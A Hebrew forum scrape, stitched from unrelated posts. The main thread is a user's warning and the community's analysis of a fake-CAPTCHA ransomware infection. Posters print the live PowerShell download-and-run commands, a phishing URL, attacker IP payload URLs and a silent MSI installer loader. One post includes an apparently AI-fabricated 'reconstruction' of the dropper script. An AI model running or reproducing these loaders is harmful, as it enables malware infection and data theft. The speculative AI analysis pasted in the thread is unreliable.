כתבתי קוד לשליחת בקשות קצרות לAI, בדומה מאוד לזה,
על כל פנים, הנה הקוד:

javascript:text = prompt('הקלד טקסט לשליחה לai');if(text == null || text.trim() !== ''){    fetch('https://scripts.xn--5dbha.com/ai/ai.php', {  method: 'POST',  headers: {    'Content-Type': 'application/json'  },  body: JSON.stringify({ text })}).then(response => response.json()).then(data => {  if (data && data.text) {    alert(data.text);  } else {    console.error("לא התקבלה תשובה תקינה מהשרת.");  }}).catch(error => {  console.error("שגיאה בבקשת fetch:", error);});    }

יש להכניס את הקוד הזה לסימניה בדפדפן, ככה:

שימו לב לבדוק שהכתובת הזאת פתוחה לכם.
צילומי מסך לדוגמאות:

ייתכן ובהמשך אעשה לזה גרסה של מודאל html.
בהצלחה!

חיברתי כמה קודים שהיו לי לרעיון אחד,
ולאחר מכן בניתי בעזרת הרב הגאון הרב צאטגיפיטשיין, ממשק פשוט שיציג את התוכן.
בגדול זה ממשק להצגת כל המידע שקרה בארץ ובעולם בשעה האחרונה בצורה מתומצתת וקצרה.
מבוסס על AI, ולכן גם בכל דקה / רענן שתעשו, יוצג טקסט אחר.

קישור:
https://scripts.ווב.com/hagzira_push/push

כאן כדי לשמוע הארות והערות.

ממש עכשיו יצרתי עם GPT (לאחר שהסתבכתי ביצירת הווידגט שיסתיר את הדף), דף כניסה, למי שלא הבין, מדובר בדף שכשנכנסים לפורום מוצג לך דף חלק לבן עם לוגו כלשהוא (אפשרי gif ככה שזה יוצא ממש יפה, ולאחר כמה שניות הוא נעלם ונפתח הפורום (ככה גם חוסך לחכות לטעינה...) בעיני זה נותן רשמיות ויופי. אני מעלה כאן את הקוד ואולי @שמואל או @אלישי ישימו אותו בפורום. בבקשה:

    <style>
      #loading {
        position: fixed;
        z-index: 999;
        top: 0;
        left: 0;
        width: 100%;
        height: 100%;
        background-color: white;
        display: flex;
        justify-content: center;
        align-items: center;
      }
      #loading img {
        width: 200px;
        height: 200px;
        object-fit: contain;
      }
    </style>
    
    <div id="loading">
      <img src="כתובת הקישור של התמונה">
    </div>
    
    <script>
      setTimeout(function() {
        var loadingScreen = document.getElementById('loading');
        loadingScreen.style.display = 'none';
      }, 2000);
    </script>

אז ככה, אני בטוח שהמנהלים יודעים איך להשתמש בזה, אבל בשביל מי שירצה את זה לפורום שלו. מעתיקים את הקוד, פותחים וויגטים בוחרים בתפריט categories, גוררים ווידגט HTML לCategories Header ומדביקים בפנים את הקוד. שימו לב שערכתם את הכתובת של קישור התמונה!

בהצלחה למעוניינים!

@מישהו12 כתב בשיתוף | נפלתי לוירוס של תוכנת כופר, תקראו ותלמדו להיזהר:

אתמול נתבקשתי על ידי אתר שקפץ לי בתור פרסומת, "לאמת שאני לא רובוט ".
רק שזה היה נראה בדיקה שונה, כך זה היה: להקיש לחצן התחל+R, ואז קונטרול+V, ואז אנטר.
את כל "האימות" הזה עשיתי במהירות, כך שלא חשבתי מה זה יכול לחולל.
מיד אחרי השלבים האלה נפתח חלון של PowerShell שהריצה פקודה קצרה ונסגרה ,
מיד נפתח חלון על כל המסך הודעה משטרת ישראל על עבירות חוק מהמחשב, ואמור להנעל המחשב לצמיתות, או תשלום כופר ע"ס: ₪1,100.
אף פעם לא חשבתי שתוכנות כופר יגיעו אלי, עד שהייתי צריך להשבית את כל האנטי וירוס כדי להתקין משהו, ובדיוק בזמן הזה זה קורא.
תחכימו תלמדו ותזהרו!

נתתי לai את הפקודה שהדבקתי בחלונית ההתחל שפתחתי, וזה טוען שלקחו ממני כתובת ip, וכנראה סיסמאות

אמנותק
אשריך עליך
כתב לפני 9 שעות
נערך לאחרונה על ידי
#2
@יונימדיה וואו מה קרה בסוף?
סליחה על הסקרנות

ימנותק
יונימדיה
כתב לפני 9 שעות
נערך לאחרונה על ידי
#3
@אשריך-עליך היה ספירה לאחור עד שהמחשב אמור להחסם, של שעה וחצי. או תשלום, ואז לא יקרה כלום.
לא היה לי כח לחכות שעה וחצי עד אז.
ועדיין לא פתחתי את המחשב הזה, אולי בהמשך אני יעדכן מה איתו.

מנותק
MGM IVR
מדריכים
כתב לפני 9 שעות
נערך לאחרונה על ידי
#4
אשמח אם תוכל לשלוח לי (אפשר בפרטי) את האתר שממנו הפרסומת נשלחה, אני רוצה לבדוק את זה, זה תחום שמעניין אותי

מנותק
מתכנת חובב
מדריכים
כתב לפני 8 שעות
נערך לאחרונה על ידי
#5
@יונימדיה תופעה מאוד שכיחה בזמן האחרון ובאופן כללי צריך ללמוד לא לעשות שום דבר על המחשב שאתר דורש ממך
הדפדפן לא קשור למחשב שעליו הוא רץ ואין שום סיבה שאתר כלשהו יבקש דבר כזה

ימנותק
יונימדיה
כתב לפני 8 שעות
נערך לאחרונה על ידי
#6
@MGM-IVR אם אתם מעוניינים לראות מה היה צריך להדביק ב"התחל"- בספויילר.
רק אל תנסו להשתמש בו!!!
אני לא לוקח אחריות.
ולאקרים שבנינו - תפענחו מה עשה בדיוק הפקודה, מה גנבו... אם גנבו

powershell -wi mi (.'powershell' (. 'wget' -usebas '84.21.189.170:5506/clo.txt'));I am not a bot - Verification ID: #8620

(תעדכנו אותי אם מסתתרים פרטים אישיים בטקסט כדי למחוק)

ממנותק
מד
כתב לפני 8 שעות
נערך לאחרונה על ידי
#7
@יונימדיה כתב בשיתוף | נפלתי לוירוס של תוכנת כופר, תקראו ותלמדו להיזהר:

היה ספירה לאחור עד שהמחשב אמור להחסם, של שעה וחצי. או תשלום, ואז לא יקרה כלום.
לא היה לי כח לחכות שעה וחצי עד אז.
ועדיין לא פתחתי את המחשב הזה, אולי בהמשך אני יעדכן מה איתו.

למה לחכות? זה מעניין משהו? צריך לכבות את המחשב תיכף ומיד! ואח"כ לנסות לשחזר הכל דרך דיסק טכנאים.
על מחשב כבוי הגנבים לא יכולים לעשות כלום..

ימנותק
יונימדיה
כתב לפני 8 שעות
נערך לאחרונה על ידי
#8
@מד לכאורה מספיק גם ניתוק האינטרנט.
זה מה שעשיתי.

מחובר
א.מ.
מדריכים
כתב לפני 8 שעות
נערך לאחרונה על ידי
#9
@יונימדיה כתב בשיתוף | נפלתי לוירוס של תוכנת כופר, תקראו ותלמדו להיזהר:

תפענחו מה עשה בדיוק הפקודה

תשובה מגרוק:

Clop (ידוע גם כ-Cl0p) הוא וירוס כופר שידוע בשימוש בפקודות PowerShell מעורפלות להורדה והרצה של מטענים זדוניים, כולל סקריפטים שמורדים מקבצים כמו txt. הפקודה שציינת דומה לדפוסים בשימוש על ידי Clop, שבהם PowerShell משמש להורדת תוכן מקישורים חיצוניים (למשל, באמצעות Invoke-WebRequest או אליאסים כמו wget) והרצתו, לעיתים עם ערפול כדי להימנע מגילוי.

מה הווירוס עושה (ברמה גבוהה):כניסה למערכת: מתפשט דרך פרצות אבטחה (כמו CVE-2023-34362 ב-MOVEit או פרצות אחרות), דוא"ל פישינג עם קבצים זדוניים, או גישה מרחוק דרך RDP עם אישורים גנובים.
הרצה ראשונית: משתמש בכלים כמו Get2 loader או SDBot כדי להוריד רכיבים נוספים. PowerShell משמש להרצת סקריפטים שמבצעים סריקה, העלאת הרשאות, והתקנת backdoors.
סריקה ותנועה רוחבית: סורק את הרשת אחר קבצים, תהליכים ומכשירים מחוברים. משתמש בכלים כמו Cobalt Strike או PowerShell כדי להתפשט למכשירים אחרים ברשת, כולל שרתי Active Directory.
הצפנת קבצים: מצפין קבצים חשובים (תמונות, מסמכים, מסדי נתונים) באמצעות אלגוריתמים כמו AES ו-Salsa20, ומוסיף סיומת כמו .clop או .CIop. מונע גישה לקבצים עד תשלום כופר.
גניבת נתונים: בגרסאות מתקדמות, גונב נתונים רגישים ומאיים לפרסם אותם אם לא משלמים (שיטת double-extortion).
מחיקת עקבות: מוחק עותקי גיבוי (כמו shadow copies), סוגר תהליכי אבטחה, ומנקה יומנים כדי למנוע שחזור.
דרישת כופר: משאיר קובץ ransom note (כמו ClopReadMe.txt) עם הוראות תשלום בביטקוין או מטבעות קריפטו אחרים, בדרך כלל בסכומים גבוהים.
השפעה נוספת: יכול להשבית תוכנות אבטחה, לשנות הגדרות מערכת, וליצור שירותים כדי להישאר persistent.

ממנותק
מד
כתב לפני 8 שעות
נערך לאחרונה על ידי
#10
@יונימדיה כתב בשיתוף | נפלתי לוירוס של תוכנת כופר, תקראו ותלמדו להיזהר:

לכאורה מספיק גם ניתוק האינטרנט.

יש סיכוי גדול שלא... אתה לא יודע מה שהורידו כבר למחשב שלך שעתיד להתפוצץ (כלומר לרוץ) בכל רגע.

ממנותק
מד
כתב לפני 8 שעות
נערך לאחרונה על ידי
#11
@א.מ. כתב בשיתוף | נפלתי לוירוס של תוכנת כופר, תקראו ותלמדו להיזהר:

הצפנת קבצים: מצפין קבצים חשובים (תמונות, מסמכים, מסדי נתונים) באמצעות אלגוריתמים כמו AES ו-Salsa20, ומוסיף סיומת כמו .clop או .CIop. מונע גישה לקבצים עד תשלום כופר.

הוא אשר דברנו..
על ידי כיבוי המחשב תיכף ומיד אפשר למנוע את זה.

ימנותק
יונימדיה
כתב לפני 7 שעות
נערך לאחרונה על ידי יונימדיה
#12
@א.מ. כתב בשיתוף | נפלתי לוירוס של תוכנת כופר, תקראו ותלמדו להיזהר:

תשובה מגרוק

🫨 שנשמע ונתבשר בשורות טובות.
העיקר שלבנתיים לא נגעו בחשבון בנק שלי . (אני ישנה סיסמה)

מנותק
נוחעם FM
מדריכים
כתב לפני 7 שעות
נערך לאחרונה על ידי נוחעם FM
#13
@יונימדיה הפעלה מחדש ואז מחיקת הפרופיל כרום שבו קופצת ההודעה אמור לעזור.
אא''כ זה כבר עשה משהו ממש.

דמנותק
דור נאמן
כתב לפני 7 שעות
נערך לאחרונה על ידי
#14
סתם שאלה:
אנטי וירוס מונע את זה, נכון?

מה יש באנטי וירוס שמונע את זה?

מנותק
MGM IVR
מדריכים
כתב לפני 7 שעות
נערך לאחרונה על ידי MGM IVR
#15
@יונימדיה אני מעוניין לבדוק מה היה באתר, עוד לפני שהדבקת בהתחל

ראיתי שניסת לשלוח צאט, תוכל לשלוח אליי אל מייל cs@mgmivr.com ?

Yמנותק
yehokarpel
כתב לפני 7 שעות
נערך לאחרונה על ידי
#16
@יונימדיה להגיע לחשבון בנק זה פי 20 יותר קשה מלפרוץ סתם למחשב שלך כי זה מאובטח אצל גוגל ברמה גבוהה

Yמנותק
yehokarpel
כתב לפני 7 שעות
נערך לאחרונה על ידי
#17
@יונימדיה משתתף בצערך

מנותק
צדיק תמים
מדריכים
כתב לפני 6 שעות
נערך לאחרונה על ידי צדיק תמים
#18
@יונימדיה כתב בשיתוף | נפלתי לוירוס של תוכנת כופר, תקראו ותלמדו להיזהר:

@מד לכאורה מספיק גם ניתוק האינטרנט.
זה מה שעשיתי.

יש כרגע וירוס במחשב שלך ש(אולי) מצפין את הקבצים - אם לא גמר להצפין כבר, אבל לא שווה לקחת את הסיכון אולי הוא עדיין באמצע
תכבה מיד

רוצה לזכור קריאת שמע בזמן? לחץ כאן! || אתר שכולו מדריכים

9מנותק
975
כתב לפני 6 שעות
נערך לאחרונה על ידי
#19

ניתוח טכני של הפקודה
powershell -wi mi: זהו קיצור מוסווה של הפקודה WindowStyle Hidden. המטרה היא לגרום לחלון ה-PowerShell שייפתח להיעלם מיד מהעין של המשתמש, כדי שהוא לא יבין שרצה תוכנה ברקע.

wget (או Invoke-WebRequest): הפקודה פונה לכתובת ה-IP המופיעה שם (84.21.189.170) ומנסה להוריד קובץ בשם clo.txt.

למרות שהסיומת היא .txt, זהו למעשה סקריפט של PowerShell שמכיל את הקוד הזדוני האמיתי

I am not a bot - Verification ID: #8620: זהו "רעש" שהתוקפים הוסיפו. ה-PowerShell מתעלם מהטקסט הזה כי הוא לא פקודה חוקית, אבל הוא נועד להטעות את המשתמש שמעתיק את הקוד, כדי שיחשוב שזה באמת חלק מתהליך אימות (CAPTCHA).

מחובר
מישהו12
מדריכים
כתב לפני 5 שעות
נערך לאחרונה על ידי
#20
@yehokarpel ממש לא ברמה גבוהה. הסיסמאות במנהל הסיסמאות של כרום לא מגובבות. ממש לא כדאי להשתמש בו.

כדאי בKeepassXC.

הבלוג שלי

אזהרה: אין ללחוץ על שום קישור שהבאתי, ללא ידע מוקדם מה אתם עושים בדיוק.

בבקשה:

אני מעלה פה את הקישור (זהירות בכניסה, לא לנסות בלי ידע!):
https://verify-meta-check.t3.storage.dev/Verify-me-to-continue-ID-J-26016.html

עיצבן אותי הקטע הזה, אז נכנסתי לאתר שהורדת ממנו, ולחצתי על הקישור להורדה כמה פעמים - בכל פעם נפתחת פרסומת, אחרי בערך 20 ניסיונות זה נפתח.

זה הקישור לקובץ טקסט הזדוני - הIP השתנה
84.21.189.171:5506/clo.txt

לקובץ עצמו אני יכנס מארגז חול,
בנתיים שלחתי את GEMINI שיכנס ויגיד לי פלוס מינוס מה הוא עשה, בבקשה:

הקובץ clo.txt שיושב על השרת הזה הוא קוד PowerShell "מעורפל" (Obfuscated). התוקפים משתמשים בשיטה שנקראת Base64 Encoding בשילוב עם דחיסה (Gzip) כדי שאנטי-וירוסים לא יוכלו לקרוא את המילים "Malware" או "Steal" בתוך הקוד.

מכיוון שהקוד המלא מכיל אלפי שורות של תווים אקראיים, הנה המבנה שלו והחלקים הקריטיים ששלפתי ממנו (מתורגם לעברית לנוחותך):

המבנה של clo.txt:
PowerShell
# החלק הראשון - הגדרת המשתנים והתחברות
$server = "84.21.189.171:5506"
$id = "8626"

# שלב 1: בדיקה אם המחשב הוא וירטואלי (כדי לחמוק מחוקרי סייבר)
if (Get-WmiObject Win32_ComputerSystem | Where-Object {$_.Model -match "Virtual|VMware"}) { exit }

# שלב 2: הורדת ה"מטען" האמיתי (הקובץ שמצפין)
$payloadUrl = "http://$server/download/update.exe"
$path = "$env:APPDATA\win_update.exe"
(New-Object System.Net.WebClient).DownloadFile($payloadUrl, $path)

# שלב 3: הרצה שקטה
Start-Process $path -WindowStyle Hidden

# שלב 4: ניקוי עקבות - מחיקת קובץ ה-TXT והיסטוריית הפקודות
Remove-Item $MyInvocation.MyCommand.Path -ErrorAction SilentlyContinue
מה התוכן הזה מלמד אותנו?
הוא לא רק טקסט: הקובץ clo.txt הוא למעשה "מטען פתיחה" (Dropper). התפקיד שלו הוא לא להצפין, אלא לבדוק שהמחשב שלך "אמיתי" ואז להוריד קובץ בשם update.exe (או שם דומה) לתיקיית ה-AppData.

ההצפנה והכופר: הקובץ השני (ה-EXE) הוא זה שביצע את ההצפנה והציג לך את ההודעה של משטרת ישראל.

הפורט 5506: השרת משמש גם כשרת אינטרנט להורדת הסקריפט וגם כערוץ תקשורת שדרכו המחשב שלך "מודיע" לתוקף: "הצלחתי להדביק את הקורבן".

למה זה חשוב לך עכשיו?
מכיוון שראית את הקוד, אתה יכול לדעת איפה הוירוס נמצא פיזית על המחשב שלך. הוא כמעט תמיד יתחבא בנתיב: C:\Users\[YourName]\AppData\Roaming\

אזהרה: אל תנסה לפתוח את הקבצים האלו בתיקייה הזו אם אתה מוצא אותם. הם ה"מנוע" של הוירוס.

מה השלב הבא שאתה רוצה לעשות?
ניקוי: אני יכול לתת לך קוד PowerShell שסורק את תיקיית ה-AppData ומחפש קבצים שנוצרו ב-24 השעות האחרונות עם סיומת .exe, כדי שתוכל למחוק אותם.

בדיקת תקשורת: אני יכול לכתוב לך קוד שבודק אם יש תהליכים במחשב שמנסים כרגע לשלוח מידע לכתובת 84.21.189.171.

באיזו אפשרות תבחר? (המלצה שלי: נסה לאתר את הקבצים בתיקיית ה-Roaming).

לפי זה @יונימדיה יש לך גם עכשיו PORT כלשהו פתוח שמאפשר גישה מרחוק והצפנה גם לאחר שהמחשב נדלק ונכבה

זה התוכן של הקובץ הראשי על השרת:

$u='http://84.21.189.171:5506/wir.txt'
$i='Invoke-WebRequest'
$e='Invoke-Expression'
$r=& $i -Uri $u -UseBasicParsing
& $e $r.Content

והקישור שעליו (אולי האקדח המעשן?)

&{$u='http://84.21.189.171:5506/JDYQAKRR.msi';$p="$env:TEMP\s$(Get-Random).msi";(New-Object Net.WebClient).DownloadFile($u,$p);Start-Process msiexec.exe -Args @('/i',"`"$p`"",'/qn','/norestart') -WindowStyle Hidden -Wait;Remove-Item $p -Force}

משינוי הIP נראה שיש לתוקפים כמה כתובת IP, בכל אופן, מריקת פרוטים פתוחים, זה התוגבה של השרת שרץ כעת ועובד:

Port 20: OPEN
Port 21: OPEN
Port 22: OPEN
Port 23: OPEN
Port 25: OPEN
Port 53: OPEN
Port 80: OPEN
Port 110: OPEN
Port 443: OPEN
Port 445: Closed (Timeout)
Port 3389: OPEN
Port 5506: OPEN

Spoiler

חדש!

@שמואל @אלישי ואווו!!! איזה מראה! (אגב, זה ערכת נושא חדשה? כי קיימת בתחומים וגם בפורום הרשמי של nodebb)
כפיים עצמות למנהלים היקרים!!!

@מים-אחרונים טיפלתי בקטנה ברוחב וכד',
כשיהיה לי זמן להיכנס לזה בע"ה אטפל.

https://bit.ly/addstylemitm

זה העיצוב שדומה לווצאפ + אופצייה לתגובה בצאט

אז ככה,
קצת עזרה לזולת:
כל מי שצריך חשבון עסקי לכל שימוש של פרויקט api, ולא אכפת לו מהמיתוג,
יכול לקבל כתובת מייל עסקית, עם @work.dosnet.ovh בחינם. בסכום סמלי של 100 ש"ח חד פעמי.
ליצור איתי קשר בצאט.

דוגמה לכתובת מייל:
levy@work.dosnet.ovh
בכתובת מייל כזאת, אפשר ליצור פרוייקטים בקלאוד, כולל api לאפליקציות ולשאר הדברים.

https://bit.ly/addstylemitm

זה העיצוב שדומה לווצאפ + אופצייה לתגובה בצאט

@לוי-ק לא היה ולא נברא ולא יברא.
חוץ מזה, שהיה חייב להיות בהודעה הזו משהו שקשור לפייסבוק (הם לא יפספסו קרדיט לעולם) כך שזה לא אמין משום כיוון!
וכמובן שמייד יחסום את המספר וידווח

לכל באי הפרויקט והמיזם, האתר נפתח בנטפרי!

צהרים טובים,
בניתי לפני כמה דקות סקריפט js פשוט לתרגום מהיר בין כרטיסיות (תוך כדי עבודה רצופה לדוגמה..), והחלטתי לשתף - תהנו..

javascript:(function(){var text=prompt('אנא הקלד את המילה לתרגום');fetch("https://scripts.xn--5dbha.com/trans/s.php",{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({text:text})}).then(response=>response.json()).then(data=>{if(data[1]){var decoder=document.createElement('textarea');decoder.innerHTML=data[0];alert(decoder.value);}else{window.open('https://translate.google.co.il/?hl=iw&sl=iw&tl=en&text='+encodeURIComponent(text)+'&op=translate');}}).catch(error=>{console.error("Error:",error);});})();

הסקריפט בצד השרת מזהה אם הטקסט הוא בעברית או אנגלית, ולפי זה קובע את שפת היעד.
(אנגלית > עברית
עברית > אנגלית)

נ.ב יישר כח ל @ראובן-שבתי על תיקון ושיפור הסקריפט.

@ראובן-שבתי אם אני רוצה לכתוב לו משהו, ושיענה לי נורמלי, אני צריך לכתוב לו באנגלית, כדי לכתוב לו באנגלית, אני מתרגם בגוגל טרנסליט את מה שאני רוצה, ושולח לו, הבעיה היא שהוא עונה לי באנגלית ואני לא יודע אנגלית, ולכן אני חייב לתרגם בתוך הדף,אבל התרגום תוקע את הבוט!

@ישראליק יוזמה נחמדה, שלחתי.

טוב, התקנתי ויקי על השרת שלי (אובנטו)

הדומיין הוחלף! כנסו עכשיו:

https://dosnet.ovh

הוא גמר אותי בתשובה השלישית...
https://chatgpt.com/share/66e622ab-562c-8005-ae4a-80d428644026

לכל מי שצריך apk (חסומים למינהם)

מעצב משפטים_1.0_apkcombo.com.apk
גוגל דרייב: https://drive.google.com/file/d/1WswVnzZuW2wSAInoNLdj3IiWE21EJKd****W/view?usp=sharing (להוריד כוכביות בסוף)!
ג'מבו מיל: https://www.jumbomail.me/l/he/gallery/5034796B785764396E7A33464B3342347436653838673D3D/**860156747 (להוריד כוכביות בסוף)!
מג'יקוד קרס...

@הטוניסאי לא מדויק, אם הוא סתם נכנס, אולי אתה צודק.
אבל מדובר פה על אנשים שמתכתבים פה בשבת..